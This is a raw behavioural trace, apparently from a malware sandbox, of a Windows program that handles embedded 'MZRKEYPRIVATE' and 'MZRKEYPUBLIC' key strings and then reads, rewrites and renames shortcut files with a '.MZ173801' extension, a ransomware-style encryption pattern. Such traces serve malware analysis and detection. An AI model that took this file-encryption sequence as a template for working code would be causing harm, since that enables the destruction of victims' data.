lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0148.799] GetCurrentThreadId () returned 0xab4 [0148.799] GetCurrentThreadId () returned 0xab4 [0148.799] GetCurrentThreadId () returned 0xab4 [0148.800] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0148.800] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0148.800] GetCurrentThreadId () returned 0xab4 [0148.800] GetCurrentThreadId () returned 0xab4 [0148.800] GetCurrentThreadId () returned 0xab4 [0148.800] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m5j0.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\m5j0.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.800] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0148.801] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.801] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x47a [0148.801] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.801] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x47a, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x47a, lpOverlapped=0x0) returned 1 [0148.802] CloseHandle (hObject=0x280) returned 1 [0148.802] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m5j0.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\m5j0.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.803] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x47a, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x47a, lpOverlapped=0x0) returned 1 [0148.804] CloseHandle (hObject=0x280) returned 1 [0148.811] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m5j0.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\m5j0.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m5j0.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\m5j0.lnk.mz173801")) returned 1 [0148.812] GetCurrentThreadId () returned 0xab4 [0148.812] GetCurrentThreadId () returned 0xab4 [0148.812] GetCurrentThreadId () returned 0xab4 [0148.812] GetCurrentThreadId () returned 0xab4 [0148.812] GetCurrentThreadId () returned 0xab4 [0148.812] GetCurrentThreadId () returned 0xab4 [0148.812] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4db9e80, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf4db9e80, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf4db9e80, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="MmiYF.lnk", cAlternateFileName="")) returned 1 [0148.812] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0148.812] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0148.812] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MmiYF.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mmiyf.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4db9e80, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf4db9e80, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf4db9e80, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x39d)) returned 1 [0148.812] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MmiYF.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mmiyf.lnk")) returned 0x20 [0148.813] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MmiYF.lnk", dwFileAttributes=0x80) returned 1 [0148.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0148.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 